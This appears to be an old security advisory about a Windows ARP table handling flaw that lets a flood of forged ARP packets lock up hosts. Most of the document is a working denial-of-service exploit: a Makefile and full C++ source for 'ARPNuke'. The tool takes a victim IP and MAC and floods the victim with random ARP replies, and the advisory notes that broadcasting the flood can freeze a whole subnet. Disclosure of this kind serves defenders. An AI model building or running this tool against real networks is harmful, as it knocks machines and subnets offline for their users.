COMMAND
ARP
SYSTEMS AFFECTED
Windows
PROBLEM
Paul Starzetz found following. There is an ARP table handling
bug in Microsoft Windows protocoll stacks. It seems that the arp
handling code uses some inefficient data structure (maybe a
simple linear table?) to manage the ARP entries. Sending a huge
amount of "random" (that is random source IP and arbitrary MAC)
ARP packets results in 100% CPU utilization and a machine lock
up. The machine wakes up after the packets stream has been
stopped.
The needed traffic is not really high: the attached ARPkill code
will send an initial sequence of about 10000 ARP packets, then go
to "burst mode" sending definable short burst of random ARP
packets every 10 msec. The lockup occured at about 80kb/sec
(seq about 45) on a PII/350.
Even worse: it seems that is possible to kill a whole subnet using
broadcast destination MAC (that is ff:ff:ff:ff:ff:ff) and
arbitrary source IP.
Makefile:
SHELL = /bin/bash
CC = g++
CCFLAGS =
LIBS = -lpcap
PNAME = arpkill
OBJS = arpkill.o
#LIBNFLAGS := $(shell libnet-config --cflags --defines)
LIBNFLAGS := -D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H -DLIBNET_LIL_ENDIAN
all: ${OBJS}
${CC} ${OBJS} -o ${PNAME} `libnet-config --libs` -lpcap
@echo
arpkill.o: arpkill.c
$(CC) -g $(CFLAGS) -c arpkill.c `libnet-config --cflags --defines`
clean:
@rm -rf *.o
@rm -rf *.bak
@rm -rf *.txt
@rm ${PNAME}
@echo "Mr Proper done :-)"
Exploit code:
/****************************************************
* *
* ARPNuke *
* nuke local hosts by random ARP traffic *
* by IhaQueR *
* *
****************************************************/
extern "C" {
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pcap.h>
#include <libnet.h>
#include <sys/times.h>
}
#define TMPBUFLEN 256
#define IP_LEN 4
#define MAC_LEN 6
// packet burst
#define PSEQ 50
// packet preload
#define STARTSEQ 15000
const unsigned char ethernull[6] = {0,0,0,0,0,0};
const unsigned char etherbcast[6] = {255,255,255,255,255,255};
u_char* sniffdevice;
// prints MAC
void print_mac(unsigned char* mac)
{
printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
}
// sprints MAC
char* sprint_mac(unsigned char* mac)
{
static char tmpbuf[TMPBUFLEN];
sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0], (unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4], (unsigned)mac[5]);
return tmpbuf;
}
// prints IP
void print_ip(unsigned char* ip)
{
printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
}
// sprints IP
char* sprint_ip(unsigned char* ip)
{
static char tmpbuf[TMPBUFLEN];
sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1], (unsigned)ip[2], (unsigned)ip[3]);
return tmpbuf;
}
// reads MAC
void get_mac(u_char* mac, char* optarg)
{
int i=0;
char* ptr = strtok(optarg, ":-");
while(ptr) {
unsigned nmb;
sscanf(ptr, "%x", &nmb);
mac[i] = (u_char)nmb;
ptr = strtok(NULL, ":-");
i++;
}
}
// reads IP
void get_ip(u_char* ip, char* ipstr)
{
int i=0;
char* ptr = strtok(ipstr, ".");
while(ptr && i<4) {
ip[i] = (unsigned char)atoi(ptr);
ptr = strtok(NULL, ".");
i++;
}
}
main(int ac, char** av)
{
// usage
if(ac<4)
printf("\nusage: %s <victim ip> <victim mac> <duration> [seq len]\n\n", av[0]), exit(1);
srand(time(NULL));
long long duration = atoi(av[3]);
unsigned pseq = PSEQ;
if(ac>4)
pseq = atoi(av[4]);
u_char victim_mac[MAC_LEN];
get_mac(victim_mac, av[2]);
u_char victim_ip[IP_LEN];
get_ip(victim_ip, av[1]);
u_char randmac[MAC_LEN];
u_char randip[IP_LEN];
bzero(randmac, sizeof(randmac));
print_mac(victim_mac);
print_ip(victim_ip);
printf("\npacket burst: %d", pseq);
printf("\nfreezing host for %d seconds\n", (int)duration);
struct timeval tv;
gettimeofday(&tv, NULL);
long long ts1 = tv.tv_sec;
ts1 *= 1000000;
ts1 += tv.tv_usec;
// init libnet
struct sockaddr_in sin;
u_char errbuf[TMPBUFLEN];
if(libnet_select_device(&sin, (unsigned char **)&sniffdevice, (u_char*)errbuf) != 1) {
printf("\nERROR selecting device");
}
else {
libnet_link_int* mylink;
mylink = libnet_open_link_interface((char*)sniffdevice, (char*)errbuf);
if(mylink == NULL) {
printf("\nERROR opening link interface: %s", errbuf);
}
else {
long long ts2 = ts1;
int i=0, j=0;
// send random arp packets
for(i=0; i<sizeof(randmac); i++)
randmac[i] = rand() % 256;
u_char buf[64];
bzero(buf, sizeof(buf));
while((ts2-ts1) < duration*1000000) {
gettimeofday(&tv, NULL);
ts2 = tv.tv_sec;
ts2 *= 1000000;
ts2 += tv.tv_usec;
if(j > STARTSEQ && (j % pseq) == (pseq-1)) {
usleep(1);
}
j++;
for(i=0; i<sizeof(randip); i++)
randip[i] = rand() % 256;
libnet_build_ethernet((u_char *)victim_mac, randmac, ETHERTYPE_ARP, NULL, 0, buf);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
randmac, randip, victim_mac, victim_ip, NULL, 0, buf+LIBNET_ETH_H);
libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H + LIBNET_ETH_H);
}
long long mbytes = ((long long)j)*(LIBNET_ARP_H + LIBNET_ETH_H);
double mb = mbytes;
mb /= 1024.0;
mb /= 1024.0;
mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H + LIBNET_ETH_H);
double mbr = mbytes;
mbr /= 1024.0;
mbr /= 1024.0;
mbr /= duration;
printf("\npackets sent\t%d [pkt]\tsustained rate: %d [pkt/s]", j, (j-STARTSEQ)/duration);
printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf [mb/s]", mb, mbr);
}
}
printf("\n\n");
return 0;
}
Obviously you need to be in the local ethernet segment to
accomplish an attack like that.
1) after a successfull attack there is another lock up occuring
after the random MAC addresses are flushed from the ARP cache
(it takes about 2 minutes) - the Windows machine locks for
about 20 seconds, after that all goes fine again.
2) again, after such a successfull attack, giving arp -a on the
command line results in 100% cpu utilization and nothings gets
printed, however the machine is still responding to ctrl-c.
Both, 1 and 2 are indicators for an ineffective arp table. It
must be emphasized that the mentioned machine lockup is not an
artifact of very high interrupt rates - 2000 packets per seconds
should be easily handled, even by Windows.
SOLUTION
Nothing yet